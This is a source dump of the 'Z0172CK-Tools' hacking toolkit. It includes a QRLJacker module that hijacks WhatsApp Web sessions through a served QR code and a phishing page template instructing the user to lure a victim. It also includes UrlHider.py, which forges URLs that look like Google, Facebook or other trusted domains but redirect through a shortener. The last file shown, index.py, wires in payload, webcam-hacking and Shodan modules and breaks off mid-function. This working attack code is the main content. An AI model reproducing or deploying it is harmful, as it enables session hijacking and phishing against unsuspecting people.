--------------------------------------------------------------------------------
/core/QRLJacker/core/db.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3.7
2 | # Written by: Karim shoair - D4Vinci ( QrlJacker-Framework )
3 | import os,importlib
4 | from . import utils
5 |
6 | def index_modules():
7 | # Return list of all modules
8 | modules = []
9 | for path,_, files in os.walk( os.path.join("core","modules") ):
10 | for name in [f for f in files if f.endswith(".py")]:
11 | modules.append( os.path.join(path, name) )
12 | modules = [x for x in modules if ("__" not in x and "Data"+os.sep not in x and x.endswith('.py'))]
13 | modules = utils.my_map( (lambda x:x.replace(".py","").replace("\\","/")),modules)
14 | modules = utils.my_map(lambda x:x.replace(os.path.join("core","modules",""),""),modules)
15 | return modules
16 |
17 | def grab(module):
18 | # Return info from module
19 | module = importlib.import_module(utils.pythonize( "/".join(["core","modules",module])))
20 | return getattr(module, 'info')
21 |
--------------------------------------------------------------------------------
/core/QRLJacker/core/module.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3.7
2 | # -*- coding: utf-8 -*-
3 | # Written by: Karim shoair - D4Vinci ( QrlJacker-Framework )
4 | from core import utils,Settings,Cli,db,browser
5 | from core.color import *
6 | from core.module_utils import *
7 | import importlib,traceback,os
8 | global global_options, module_keywords, cli_keywords
9 | module_help = end+G+"""
10 |
11 | Module commands
12 | ===============
13 | Command Description
14 | ---------- --------------
15 | list/show List modules you can use.
16 | options Displays options for the current module.
17 | set Sets a context-specific variable to a value.
18 | run Launch the current module.
19 | use Use an available module.
20 | info Get information about an available module.
21 | search Search for a module by a specific text in its name or in its description.
22 | previous Sets the previously loaded module as the current module.
23 | back Move back from the current context.
24 | """+end
25 |
26 | global_options = {}
27 | modules = db.index_modules()
28 | module_keywords = ["options","set","run","back","close"]
29 | def Exec(all_keywords):
30 | global global_options, module_keywords, cli_keywords
31 | module_keywords += all_keywords
32 | cli_keywords = all_keywords
33 | mod = importlib.import_module(utils.pythonize("core.modules."+Settings.running_module))
34 | if Settings.development:
35 | mod = utils.reload(mod)
36 | global_options = getattr(mod, 'execution').module_type.options
37 | if os.name !="nt":
38 | utils.Input_completer(module_keywords+modules)
39 | Settings.add_module(Settings.running_module)
40 |
41 | def handle(c):
42 | if c=="" or c[0]=="#":return
43 | c = c.strip()
44 | head = c.lower().split(" ")[0]
45 | args = " ".join(c.split(" ")[1:])
46 | try:
47 | # Yeah, we don't have switch case in python...
48 | if not Cli.general_commands(head, args, module_help):
49 | if head in ["database","debug","dev","verbose","reload","refresh","list","show","resource","os","use","exec",
50 | "search","info","previous","sessions","jobs","eval","report"]:
51 | exec("Cli.command_{}(args)".format(head))
52 | Settings.update_history(c)
53 | else:
54 | handler = globals()["command_{}".format(head)]
55 | handler(args)
56 | Settings.update_history(c)
57 | except Exception as e:
58 | if Settings.debug:
59 | print("Exception -> "+str(e))
60 | print(" Input -> "+str(c))
61 | print("Trackback -> ")
62 | traceback.print_exc()
63 | error( head + " is not recognized as an internal command !")
64 | #To check for the wanted command on typos
65 | wanted = utils.grab_wanted(head,module_keywords)
66 | if len(wanted)>0:
67 | status( "Maybe you meant : " + wanted )
68 | status( "Type help or ? to learn more..")
69 |
70 | def command_options(text=False):
71 | try:
72 | options = global_options
73 | headers = [B+Bold+"Name","Current value","Required","Description"+end]
74 | names = list( options.keys() )
75 | values = utils.my_map(lambda x:str(options[x][2]),names)
76 | required = utils.my_map(lambda x:["No","Yes"][options[x][0]],names)
77 | description = utils.my_map(lambda x:options[x][1],names)
78 | cols = []
79 | for row in range(len(names)):
80 | cols.append([ names[row], values[row], required[row], description[row] ])
81 | utils.create_table(headers,cols)
82 |
83 | except Exception as e:
84 | if Settings.debug:
85 | error("Error in finding options! ")
86 | print("Exception -> "+str(e) )
87 | print(" Module -> "+str(m) )
88 | print("Trackback -> ")
89 | traceback.print_exc()
90 | else:
91 | error("Unknown error! enable debug mode to more details")
92 |
93 | def is_option(option):
94 | try:
95 | blah = global_options[option.lower()][2]
96 | return [blah]
97 | except:
98 | return False
99 |
100 | def change_value(option,new_value):
101 | global_options[option.lower()][2] = new_value
102 |
103 | def command_set(opt=False):
104 | if not opt:
105 | error("You must type an option first !")
106 | elif len( opt.split(" ") ) < 2 and not "=" in opt:
107 | error("You must type a new value to the option !")
108 | else:
109 | split_char = " "
110 | if "=" in opt:split_char = "="
111 | splitted = opt.split(split_char)
112 | x = is_option(splitted[0].lower())
113 | if type(x) is list:
114 | if type(x[0]) is bool:
115 | change_value(splitted[0],x[0]==False)
116 | status( splitted[0] + " => " + str(x[0]==False) )
117 | else:
118 | change_value( splitted[0], " ".join(splitted[1:]) )
119 | status( splitted[0] + " => " + " ".join(splitted[1:]) )
120 | else:
121 | error("Invalid option!")
122 |
123 | def command_run(text=False):
124 | # Options format : {"name":[ (0,1,2),description,value]}
125 | # Required --> 1 # Means that it must have value
126 | # Not required --> 0 # Means that it could have value or not
127 | for key in global_options.keys():
128 | if global_options[key][0]==1 and not global_options[key][2].strip(): # A required option but has empty value
129 | error("Error! the following option have not been set ("+ key + ")" )
130 | return
131 | module = importlib.import_module(utils.pythonize("core.modules."+Settings.running_module))
132 | if Settings.development: module = utils.reload(module)
133 | exec_info = getattr(module, "execution")
134 | if not Settings.headless_browser:
135 | Settings.headless_browser = browser.headless_browsers()
136 | current_browser = {"Status":"LOL"}
137 | Settings.headless_browser.new_session(exec_info.name, exec_info.url, global_options["useragent"][2])
138 | else:
139 | current_browser = Settings.headless_browser.new_session(exec_info.name, exec_info.url, global_options["useragent"][2])
140 |
141 | if current_browser["Status"]=="Duplicate":
142 | error("Module already running!")
143 | elif current_browser["Status"]=="Failed":
144 | error("Couldn't open Firefox! Check the installation instructions again!")
145 | elif current_browser["Status"]=="Invalid useragent":
146 | error("Can't use this useragent! See the possible useragent values in the wiki!")
147 | else:
148 | # RUN https://youtu.be/PTZ4L6cNNC4
149 | #current_browser = current_browser["Controller"]
150 | if exec_info.module_type == types.grabber:
151 | if Settings.development:
152 | status("Grabber module detected!")
153 | Settings.headless_browser.website_qr(exec_info.name, exec_info.image_xpath) # Keeps QR image always updated and it runs in a thread too
154 | Settings.headless_browser.create_listener(exec_info.name, exec_info.change_identifier, exec_info.session_type)
155 | if exec_info.img_reload_button:
156 | Settings.headless_browser.check_img(exec_info.name, exec_info.img_reload_button) # This line will run in a thread too
157 | Settings.headless_browser.serve_module(exec_info.name, global_options["host"][2], int(global_options["port"][2]))
158 |
159 | # TODO
160 | elif exec_info.module_type == types.post:
161 | if Settings.development:
162 | status("Post module detected!")
163 |
164 | def command_close(text=False): # Another hidden command to use in debugging :D
165 | if Settings.headless_browser:
166 | Settings.headless_browser.close_all()
167 | Settings.headless_browser = None
168 |
169 | def command_back(text=False):
170 | Settings.update_previous()
171 | Settings.running_module = False
172 | Settings.reset_name()
173 | if os.name!="nt":
174 | utils.Input_completer(cli_keywords+modules )
175 |
--------------------------------------------------------------------------------
/core/QRLJacker/core/module_utils.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3.7
2 | import os, random, socketserver, http.server, _thread as thread
3 | from jinja2 import Environment, PackageLoader, FileSystemLoader
4 | from binascii import a2b_base64
5 | from PIL import Image
6 | from . import Settings
7 |
8 | class server:
9 | def __init__(self, template_name="phishing_page.html", *args, **kwargs):
10 | self.templates_dir = os.path.join(Settings.path,"core","templates")
11 | env = Environment(loader=FileSystemLoader(searchpath=self.templates_dir))
12 | template = env.get_template(template_name)
13 | self.html = template.render(*args,**kwargs)
14 | self.name = kwargs["name"]
15 | self.port = kwargs["port"]
16 |
17 | def start_serving(self,host="0.0.0.0"):
18 | serve_dir = os.path.join(Settings.path,"core","www",self.name)
19 | f = open( os.path.join(serve_dir,"index.html"),"w")
20 | f.write(self.html)
21 | f.close()
22 | class ReusableTCPServer(socketserver.TCPServer):
23 | allow_reuse_address = True
24 | logging = False
25 | class MyHandler(http.server.SimpleHTTPRequestHandler):
26 | def __init__(self, *args, **kwargs):
27 | super().__init__(*args, directory=serve_dir, **kwargs)
28 | def log_message(self, format, *args):
29 | if self.server.logging:
30 | http.server.SimpleHTTPRequestHandler.log_message(self, format, *args)
31 |
32 | self.httpd = ReusableTCPServer( (host, self.port), MyHandler)
33 | t = thread.start_new_thread(self.httpd.serve_forever, ())
34 |
35 | def stop_web_server(self):
36 | self.httpd.socket.close()
37 |
38 | class misc:
39 | def Screenshot( browser, img_xpath, name): # PicName, location, size):
40 | # Take a screenshot to the page then cut the QR image
41 | img_path = os.path.join(Settings.path, "core", "www", name, "full.png")
42 | imgObject = browser.find_elements_by_xpath(img_xpath)[0] # Getting the image element
43 | browser.save_screenshot(img_path) # Taking screenshot to the whole page
44 | img = Image.open(img_path)
45 | left,top = imgObject.location['x'],imgObject.location['y'] # Getting the image exact location (1)
46 | right = left + imgObject.size['width'] # (2)
47 | bottom = top + imgObject.size['height'] # (3)
48 | box = (int(left), int(top), int(right), int(bottom)) # Defines crop points
49 | final = img.crop(box) # Croping the specific part we need to crop
50 | final.load()
51 | final.save(img_path.replace("full","tmp")) # Overwritting the full screenshot image with the cropped one
52 |
53 | def base64_to_image( base64_data):
54 | # Becomes useful if the targeted website is loading the image from a base64 string
55 | return a2b_base64( base64_data.replace("data:image/png;base64,","") )
56 |
57 | def gen_random():
58 | # Generate a random number to use in file naming
59 | return str( random.randint(1,100)+random.randint(1,1000) )
60 |
61 | # Options format: [Required or not, option_description, default_value]
62 | # Required --> 1 # Means that it must have value
63 | # Not required --> 0 # Means that it could have value or not
64 | class types:
65 | class grabber:
66 | options = {
67 | "port":[1,"The local port to listen on.",80],
68 | "host":[1,"The local host to listen on.","0.0.0.0"],
69 | "useragent":[1,"Make useragent is the (default) one, a (random) generated useragent or a specifed useragent","(default)"]
70 | }
71 |
72 | class post:
73 | options = {
74 | "session_id":[1,"Session id to run the module on",""]
75 | }
76 |
--------------------------------------------------------------------------------
/core/QRLJacker/core/modules/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/core/QRLJacker/core/modules/__init__.py
--------------------------------------------------------------------------------
/core/QRLJacker/core/modules/grabber/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/core/QRLJacker/core/modules/grabber/__init__.py
--------------------------------------------------------------------------------
/core/QRLJacker/core/modules/grabber/whatsapp.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Written by: Karim shoair - D4Vinci ( QrlJacker-Framework )
3 | from core.module_utils import types
4 |
5 | class info:
6 | author = "Karim Shoair (D4Vinci)"
7 | short_description = "Whatsapp QR-sessions grabber and controller"
8 | full_description = None
9 |
10 | class execution:
11 | module_type = types.grabber
12 | name = "whatsapp"
13 | url = "https://web.whatsapp.com"
14 | image_xpath = '/html/body/div[1]/div/div/div[2]/div[1]/div/div[2]'
15 | #"/html/body/div[1]/div/div/div[2]/div[1]/div[2]"
16 | img_reload_button = '/html/body/div[1]/div/div/div[2]/div[1]/div/div[2]/div/span/div'
17 | #'/html/body/div[1]/div/div/div[2]/div[1]/div[2]/div/span/div'
18 | change_identifier = '/html/body/div[1]/div/div/div[2]/div[1]/div/div[3]/label/input'
19 | #"/html/body/div[1]/div/div/div[2]/div[1]/div[3]/label/input"
20 | session_type = "localStorage"
21 |
--------------------------------------------------------------------------------
/core/QRLJacker/core/modules/post/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Erik172/Z0172CK-Tools/a9c031d1ce37c3713b4b535fdc15d2d33d974cb8/core/QRLJacker/core/modules/post/__init__.py
--------------------------------------------------------------------------------
/core/QRLJacker/core/sessions.json:
--------------------------------------------------------------------------------
1 | {
2 | "0": {
3 | "name": "whatsapp",
4 | "web_url": "https://web.whatsapp.com",
5 | "session_type": "localStorage",
6 | "useragent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
7 | "session_path": "sessions/Sun-Aug-16-22:35:21-2020.session"
8 | }
9 | }
--------------------------------------------------------------------------------
/core/QRLJacker/core/templates/phishing_page.html:
--------------------------------------------------------------------------------
1 |
2 |
3 | {{name}}
4 |
5 |
6 |
10 | QRLJacker: {{name}}
11 | Now you have a local webserver hosting your QRLJacking payload, Here's some instructions to be done:
12 | 1. This is your always updated {{name}} QR Code
13 |
14 | 2. Edit phishing_page.html file by adding your phishing page source code, style, resources, etc.. (located inside framework in path core/templates/phishing_page.html)
15 | 3. Point your victim to your phishing URL, Convince to scan the QR code and Bob is your uncle!
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/core/QRLJacker/core/utils.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3.7
2 | #Written by: Karim shoair - D4Vinci ( QrlJacker-Framework )
3 | import sys, os, time, random, importlib, readline, atexit
4 | from .color import *
5 | from terminaltables import AsciiTable as table
6 | from urllib.request import urlopen
7 |
8 | def banner(m):
9 | #Choose a random banner and prints it
10 | os.system("clear")
11 | #m = db.index_modules()
12 | banners = open(os.path.join("core","Data","banners.txt")).read().split("$$$$$AnyShIt$$$$$$")
13 | banner = random.choice(banners)
14 | v = open(os.path.join("core","Data","version.txt")).read().strip()
15 | grabbers = len([ i for i in m if "grabber" in i])
16 | post = len([ i for i in m if "post" in i])
17 | banner_to_print = Bold+G + banner.format(Name=f"{end+R}QrlJacker-Framework {end+B}By {Bold}@D4Vinci -{M} V{v+end+Bold+G}",
18 | Description=f"{end+C}Attack vector By Mohamed Abdelbasset Elnouby {end+Bold+B}(@SymbianSyMoh){end+Bold+G}",
19 | Loaded=f"{end+B}Loaded {end+R}{grabbers}{end+B} grabber(s), {end+R}{post}{end+B} post module(s).{G+Bold}") + end
20 | print(banner_to_print)
21 | return
22 |
23 | def getinput():
24 | # Return the suitable input type according to python version
25 | ver = sys.version[0]
26 | if ver=="3":
27 | return input
28 | else:
29 | return raw_input
30 |
31 | def reload(module):
32 | # Reload an imported module and return the imported of course
33 | return importlib.reload(module)
34 |
35 | def create_table(headers,rows):
36 | # Prints a table with the given parameters
37 | #print(table([["Header1","Header2"],["Row"]],"name").table)
38 | Main = []
39 | Main.append(headers)
40 | for row in rows:Main.append(row)
41 | t = table(Main)
42 | t.inner_column_border = False
43 | t.outer_border = False
44 | t.inner_heading_row_border = False
45 | t.inner_footing_row_border = False
46 | print("\n"+t.table)
47 |
48 | def pythonize(path):
49 | # Normal path to python importable path
50 | return path.lower().replace('/', '.').replace("\\","")
51 |
52 | def humanize(path):
53 | # Python importable path to normal path
54 | return path.lower().replace('.', '/')
55 |
56 | def grab_wanted(cmd,keywords):
57 | #To check for the wanted command on typos
58 | wanted = ""
59 | for i in reversed(range(1,5)): # Danger! Magic,don't touch :"D
60 | oo = [s for s in keywords if (s[:i]==cmd[:i] and s not in wanted) ]
61 | if len(oo)>1:
62 | wanted += ", ".join(oo)
63 | elif len(oo)==1:
64 | wanted += ", "+oo[0]
65 | return wanted
66 |
67 | def check_version():
68 | #check for core version online
69 | u = "https://raw.githubusercontent.com/OWASP/QRLJacking/master/QRLJacker/core/Data/version.txt"
70 | try:
71 | res = urlopen(u).read().decode('utf-8').strip()
72 | return res
73 | except:
74 | return None
75 |
76 | def my_map(func,values):
77 | # Because map behaves differently in python 2 and 3, I decided to write my own fuckin version :3
78 | result = []
79 | for value in values:
80 | result.append( func(value) )
81 | return result
82 |
83 | """
84 | def slow_print(text):
85 | for s in text:
86 | if sys.version_info[0]==2:
87 | sys.stdout.write(s)
88 | else:
89 | print(s, end='')
90 | time.sleep(0.1)
91 | """
92 | # TODO: make autocomplete fix typos (Done)
93 | # TODO: make autocomplete with parts like whatsapp replaced with grabber/whatsapp (DONE)
94 | # Say hi to my own autocomplete implementation :)
95 | class MyCompleter(object):
96 | def __init__(self, options):
97 | self.options = sorted(options)
98 | self.module_options = sorted(["host","port","useragent"])
99 | def complete(self, text, state):
100 | if state == 0:
101 | if text:
102 | text = text.lower()
103 | line = readline.get_line_buffer() # This one gets the whole line typed
104 | if line.startswith("use") or line.startswith("info"): # This works if the word isn't use/info command but use/info command is typed before so we only return modules
105 | self.matches = [m for m in self.options if "/" in m and m.startswith(text)]
106 | if len(self.matches)==0: # This returns modules that have any word of the current written ones
107 | self.matches = [m for m in self.options if "/" in m and text in m]
108 |
109 | elif line.startswith("set") and "set" in self.options: # This returns options for set command but only when it's available :D
110 | self.matches = [m for m in self.module_options if m.startswith(text)]
111 | if len(self.matches)==0: # This returns all options if no thing is written after the set command
112 | self.matches = self.module_options
113 | else:
114 | self.matches = [s for s in self.options if s.startswith(text) and not "/" in s]
115 | if len(self.matches)==0:
116 | possible_matches = [s for s in self.options if not "/" in s]
117 | wanted = []
118 | for i in reversed(range(1,5)): # Fixing typos to return matches if there's no matches :D
119 | wanted.extend( [ s for s in possible_matches if (s[:i]==text[:i] and s not in wanted) ])
120 | if len(wanted)>0:
121 | self.matches = sorted(wanted)
122 | break
123 | self.matches = sorted(wanted)
124 | else:
125 | line = readline.get_line_buffer()
126 | if line.startswith("use "): # This works if there's no word typed but use command was typed before
127 | self.matches = [m for m in self.options if "/" in m]
128 | elif line.startswith("set") and "set" in self.options:
129 | self.matches = self.module_options
130 | else:
131 | self.matches = [m for m in self.options if not "/" in m ]
132 | try:
133 | return self.matches[state]
134 | except IndexError:
135 | return None
136 |
137 | history_file = os.path.join(".autocomplete_history")
138 | def save_history(history_file=history_file): # So you can use the up key to access the previous session commands
139 | readline.write_history_file(history_file)
140 |
141 | def Input_completer(keywords):
142 | completer = MyCompleter(keywords)
143 | readline.set_completer(completer.complete)
144 | if "libedit" in readline.__doc__:
145 | readline.parse_and_bind("bind ^I rl_complete")
146 | else:
147 | readline.parse_and_bind('tab: complete')
148 | #readline.parse_and_bind('"\\e[A": complete') # Up arrow
149 | readline.parse_and_bind("set colored-completion-prefix on")
150 | readline.parse_and_bind("set show-all-if-unmodified on")
151 | readline.parse_and_bind("set horizontal-scroll-mode on")
152 | if os.path.exists(history_file):
153 | readline.read_history_file(history_file)
154 | readline.set_history_length(20)
155 | readline.set_completer_delims(' ')
156 | atexit.register(save_history)
157 |
--------------------------------------------------------------------------------
/core/QRLJacker/core/www/whatsapp/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 | whatsapp
4 |
5 |
6 |
10 | QRLJacker: whatsapp
11 | Now you have a local webserver hosting your QRLJacking payload, Here's some instructions to be done:
12 | 1. This is your always updated whatsapp QR Code
13 |
14 | 2. Edit phishing_page.html file by adding your phishing page source code, style, resources, etc.. (located inside framework in path core/templates/phishing_page.html)
15 | 3. Point your victim to your phishing URL, Convince to scan the QR code and Bob is your uncle!
16 |
17 |
18 |
--------------------------------------------------------------------------------
/core/QRLJacker/sessions/.gitignore:
--------------------------------------------------------------------------------
1 | *
2 | */
3 | !.gitignore
4 |
--------------------------------------------------------------------------------
/core/UrlHider.py:
--------------------------------------------------------------------------------
1 | # /usr/bin/python3
2 | # Created By Erik
3 | from colorama import Fore, init
4 | import pyshorteners
5 | import os, sys, time, random, json
6 |
7 | colors = [Fore.LIGHTBLUE_EX, Fore.LIGHTGREEN_EX, Fore.LIGHTRED_EX]
8 | color = random.choice(colors)
9 |
10 | def main():
11 | Banner()
12 | print("")
13 | print("[{}01{}] Google".format(color, Fore.LIGHTWHITE_EX))
14 | print("[{}02{}] Youtube".format(color, Fore.LIGHTWHITE_EX))
15 | print("[{}03{}] Spotify".format(color, Fore.LIGHTWHITE_EX))
16 | print("[{}04{}] Instagram".format(color, Fore.LIGHTWHITE_EX))
17 | print("[{}05{}] Facebook".format(color, Fore.LIGHTWHITE_EX))
18 | print("[{}06{}] New York Times".format(color, Fore.LIGHTWHITE_EX))
19 | print("[{}07{}] Personalized".format(color, Fore.LIGHTWHITE_EX))
20 | print("")
21 | print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX))
22 | print("")
23 |
24 | option = input(str(" Z0172CK ({}UrlHiden{}) > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
25 |
26 | if option == '01' or option == '1':
27 | UrlGoogle()
28 |
29 | elif option == '02' or option == '2':
30 | UrlYoutube()
31 |
32 | elif option == '03' or option == '3':
33 | UrlSpotify()
34 |
35 | elif option == '04' or option == '4':
36 | UrlInstagram()
37 |
38 | elif option == '05' or option == '5':
39 | UrlFacebook()
40 |
41 | elif option == '06' or option == '6':
42 | UrlNewyorkTimes()
43 |
44 | elif option == '07' or option == '7':
45 | UrlPersonalized()
46 |
47 | elif option == '99':
48 | sys.exit()
49 |
50 | else:
51 | print("[!] Option not avalible")
52 | main()
53 |
54 | def UrlGoogle():
55 | print("")
56 | OriginalLink = str(input("Z0172CK ({}UrlHiden/Google{}) Original URL > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
57 |
58 | print("")
59 | Postlink = str(input("Z0172CK ({}UrlHiden/Google{}) Post LINK > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
60 |
61 | Shortener = pyshorteners.Shortener()
62 | EndLink = Shortener.tinyurl.short(OriginalLink)
63 | Withouthttp = EndLink[7:]
64 |
65 | print("\n\n")
66 | print("Your link is: {}https://www.google.com-{}@{}{}".format(Fore.LIGHTRED_EX, Postlink, Withouthttp, Fore.LIGHTWHITE_EX))
67 | time.sleep(2)
68 | print("\n")
69 | def UrlYoutube():
70 | print("")
71 | OriginalLink = str(input("Z0172CK ({}UrlHiden/Youtube{}) Original URL > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
72 |
73 | Postlink = str(input("Z0172CK ({}UrlHiden/Youtube{}) Post LINK > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
74 |
75 | Shortener = pyshorteners.Shortener()
76 | EndLink = Shortener.tinyurl.short(OriginalLink)
77 | Withouthttp = EndLink[7:]
78 |
79 | print("\n\n")
80 | print("Your link is: {}https://www.youtube.com-video-{}@{}{}".format(Fore.LIGHTRED_EX, Postlink, Withouthttp, Fore.LIGHTWHITE_EX))
81 | time.sleep(2)
82 | print("\n")
83 |
84 | def UrlSpotify():
85 | print("")
86 | OriginalLink = str(input("Z0172CK ({}UrlHiden/Spotify{}) Original URL > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
87 |
88 | Postlink = str(input("Z0172CK ({}UrlHiden/Spotify{}) Post LINK > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
89 |
90 | Shortener = pyshorteners.Shortener()
91 | EndLink = Shortener.tinyurl.short(OriginalLink)
92 | Withouthttp = EndLink[7:]
93 |
94 | print("\n\n")
95 | print("Your link is: {}https://www.spotify.com-video-{}@{}{}".format(Fore.LIGHTRED_EX, Postlink, Withouthttp, Fore.LIGHTWHITE_EX))
96 | time.sleep(2)
97 | print("\n")
98 |
99 | def UrlInstagram():
100 | print("")
101 | OriginalLink = str(input("Z0172CK ({}UrlHiden/Instagram{}) Original URL > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
102 |
103 | Postlink = str(input("Z0172CK ({}UrlHiden/Instagram{}) Post LINK > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
104 |
105 | Shortener = pyshorteners.Shortener()
106 | EndLink = Shortener.tinyurl.short(OriginalLink)
107 | Withouthttp = EndLink[7:]
108 |
109 | print("\n\n")
110 | print("Your link is: {}https://www.instagram.com-photo-{}@{}{}".format(Fore.LIGHTRED_EX, Postlink, Withouthttp, Fore.LIGHTWHITE_EX))
111 | time.sleep(2)
112 | print("\n")
113 |
114 | def UrlFacebook():
115 | print("")
116 | OriginalLink = str(input("Z0172CK ({}UrlHiden/Facebook{}) Original URL > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
117 |
118 | Postlink = str(input("Z0172CK ({}UrlHiden/FaceBook{}) Post LINK > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
119 |
120 | Shortener = pyshorteners.Shortener()
121 | EndLink = Shortener.tinyurl.short(OriginalLink)
122 | Withouthttp = EndLink[7:]
123 | print("\n\n")
124 | print("Your link is: {}https://www.facebook.com-profile-{}@{}{}".format(Fore.LIGHTRED_EX, Postlink, Withouthttp, Fore.LIGHTWHITE_EX))
125 | time.sleep(2)
126 | print("")
127 |
128 | def UrlNewyorkTimes():
129 | print("")
130 | OriginalLink = str(input("Z0172CK ({}UrlHiden/NewyorkTime{}) Original URL > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
131 |
132 | Postlink = str(input("Z0172CK ({}UrlHiden/NewyorkTimes{}) Post LINK > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
133 |
134 | Shortener = pyshorteners.Shortener()
135 | EndLink = Shortener.tinyurl.short(OriginalLink)
136 | Withouthttp = EndLink[7:]
137 |
138 | print("\n\n")
139 | print("Your link is: {}https://www.newyorktimes.com-{}@{}{}".format(Fore.LIGHTRED_EX, Postlink, Withouthttp, Fore.LIGHTWHITE_EX))
140 | time.sleep(2)
141 | print("")
142 |
143 |
144 | def UrlPersonalized():
145 | print("")
146 | Domain = str(input("Z0172CK ({}UrlHiden/Personalized{}) Domain > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
147 | OriginalLink = str(input("Z0172CK ({}UrlHiden/Personalized{}) Original URL > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
148 |
149 |
150 | Postlink = str(input("Z0172CK ({}UrlHiden/Personalized{}) Post LINK > ".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)))
151 |
152 | Shortener = pyshorteners.Shortener()
153 | EndLink = Shortener.tinyurl.short(OriginalLink)
154 | Withouthttp = EndLink[7:]
155 |
156 | print("\n\n")
157 | print("link is: {}https://www.{}-{}@{}{}".format(Fore.LIGHTRED_EX ,Domain, Postlink, Withouthttp, Fore.LIGHTWHITE_EX))
158 | time.sleep(2)
159 | print("\n")
160 |
161 | def Banner():
162 | print('''{}
163 | █ ██ ██▀███ ██▓ ██░ ██ ██▓▓█████▄ ▓█████ ███▄ █
164 | ██ ▓██▒▓██ ▒ ██▒▓██▒ ▓██░ ██▒▓██▒▒██▀ ██▌▓█ ▀ ██ ▀█ █
165 | ▓██ ▒██░▓██ ░▄█ ▒▒██░ ▒██▀▀██░▒██▒░██ █▌▒███ ▓██ ▀█ ██▒
166 | ▓▓█ ░██░▒██▀▀█▄ ▒██░ ░▓█ ░██ ░██░░▓█▄ ▌▒▓█ ▄ ▓██▒ ▐▌██▒
167 | ▒▒█████▓ ░██▓ ▒██▒░██████▒ ░▓█▒░██▓░██░░▒████▓ ░▒████▒▒██░ ▓██░
168 | ░▒▓▒ ▒ ▒ ░ ▒▓ ░▒▓░░ ▒░▓ ░ ▒ ░░▒░▒░▓ ▒▒▓ ▒ ░░ ▒░ ░░ ▒░ ▒ ▒
169 | ░░▒░ ░ ░ ░▒ ░ ▒░░ ░ ▒ ░ ▒ ░▒░ ░ ▒ ░ ░ ▒ ▒ ░ ░ ░░ ░░ ░ ▒░
170 | ░░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░
171 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
172 | ░
173 | By Erik172 @erik172_
174 |
175 | {}'''.format(color, Fore.LIGHTWHITE_EX))
176 |
177 |
--------------------------------------------------------------------------------
/docs/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | # # Contributing to Z0172CK Tools
2 | :+1::tada: First off, thanks for taking the time to contribute! :tada::+1:
3 |
4 | Hello, If you want to collaborate in the project with pleasure you can do it, just keep in mind the following things :blush:
5 |
6 | 1. Follow the [code of conduct](https://github.com/Erik172/Z0172CK-Tools/blob/master/CODE_OF_CONDUCT.md)
7 | 2. If you are going to write or modify code, make it legible and easy to understand
8 | 3. you can contribute in any branch
9 | 4. The development branch is for project testing (beta).
10 |
11 | Ready now You can help us make this project to a better :+1::tada:
12 |
--------------------------------------------------------------------------------
/index.py:
--------------------------------------------------------------------------------
1 | from colorama import Fore, init
2 | import core.PayloadGenerate as PayloadGenerate
3 | import core.camHackers as camHackers
4 | import core.UrlHider as UrlHider
5 | import banners
6 | import subprocess
7 | import ipinfo
8 | import shodan
9 | import random
10 | import time
11 | import json
12 | import sys
13 | import os
14 |
15 | init()
16 |
17 | colors = [Fore.LIGHTBLUE_EX, Fore.LIGHTCYAN_EX, Fore.LIGHTGREEN_EX, Fore.LIGHTMAGENTA_EX, Fore.LIGHTRED_EX]
18 | color = random.choice(colors)
19 |
20 | ProgramName = 'Z0172CK'
21 | Version = 'V1.2'
22 |
23 | PrintBanners = True
24 |
25 | #Variable de Metasploit
26 | Port = '444'
27 | Host = '192.168.0.4'
28 |
29 | #Variables de Shodan
30 | vulns = False
31 |
32 | class SearchShodan:
33 | def __init__(self, API):
34 | self.api = shodan.Shodan(API)
35 |
36 | def SearchingShodan(self, string):
37 | none = 'null'
38 | global vulns, PrintBanners
39 |
40 | ResultFile = open('result/Shodan.json', 'w')
41 |
42 | try:
43 | if PrintBanners == True:
44 | banners.println(2)
45 | result = self.api.search(str(string))
46 | print('[{}!{}] Resoult found: {}'.format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result['total']))
47 | print("")
48 | #print(json.dumps(result, sort_keys=True, indent=2))
49 | ResultFile.write(str(json.dumps(result, sort_keys=True, indent=3)))
50 | ResultFile.close()
51 |
52 | for data in result['matches']:
53 | print("[{}+{}] IP: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['ip_str']))
